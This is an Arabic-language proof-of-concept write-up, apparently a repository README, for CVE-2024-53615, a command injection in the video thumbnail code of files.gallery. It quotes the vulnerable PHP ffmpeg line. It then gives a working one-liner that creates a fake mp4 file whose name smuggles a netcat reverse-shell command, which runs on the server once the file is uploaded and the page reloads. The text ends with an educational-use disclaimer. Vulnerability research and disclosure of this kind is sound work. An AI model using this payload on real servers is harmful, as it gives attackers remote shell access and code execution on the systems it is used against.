
CVE-2024-53615
ثغرة حقن أوامر في مكون عرض الصور المصغرة للفيديو في files.gallery الخاص بـ Karl Ward من الإصدار v0.3.0 حتى 0.11.0 تسمح للمهاجمين عن بُعد بتنفيذ تعليمات برمجية عشوائية عبر ملف فيديو معدل.
المتطلبات الأساسية:
ffmpeg في PATHconfig.php: 'allow_upload' => trueexec في إعدادات PHPتوجد الثغرة في السطر التالي (مأخوذ من الإصدار 0.9.12)، الذي يُنشئ معاينات الفيديو:
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
نظرًا لأن $this->path يمكن التحكم به من قبل المستخدم، يمكننا إنشاء ملف خبيث عنوانه هو استبدال لأمر bash. من المهم أن يحتوي هذا الملف مثلاً على الأحرف السحرية لـ mp4 وأن ينتهي اسم الملف بـ .mp4:
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
إذا قمنا برفع هذا الملف، وقمنا بتحديث الصفحة لجعل التطبيق يقوم بتحميل الملف، نحصل على شيل على جهازنا المحلي.
ملاحظة: الأمر مخزن في اسم الملف، لذا فإن إمكانيات الـ reverse shell محدودة بسبب قيود طول الاسم.
هذا المستودع مخصص للأغراض التعليمية والبحثية فقط.
تحذير سوء الاستخدام: يُحظر تمامًا استخدام هذه الأداة في أنشطة غير مصرح بها أو خبيثة، وقد ينتهك القوانين المحلية أو الوطنية أو الدولية. المؤلف غير مسؤول عن أي استخدام خاطئ لهذا الكود.
احصل دائمًا على التصريح المناسب قبل نشر هذه الأداة في أي بيئة. باستخدامك لهذا المشروع، فإنك توافق على استخدامه بمسؤولية وأخلاقية.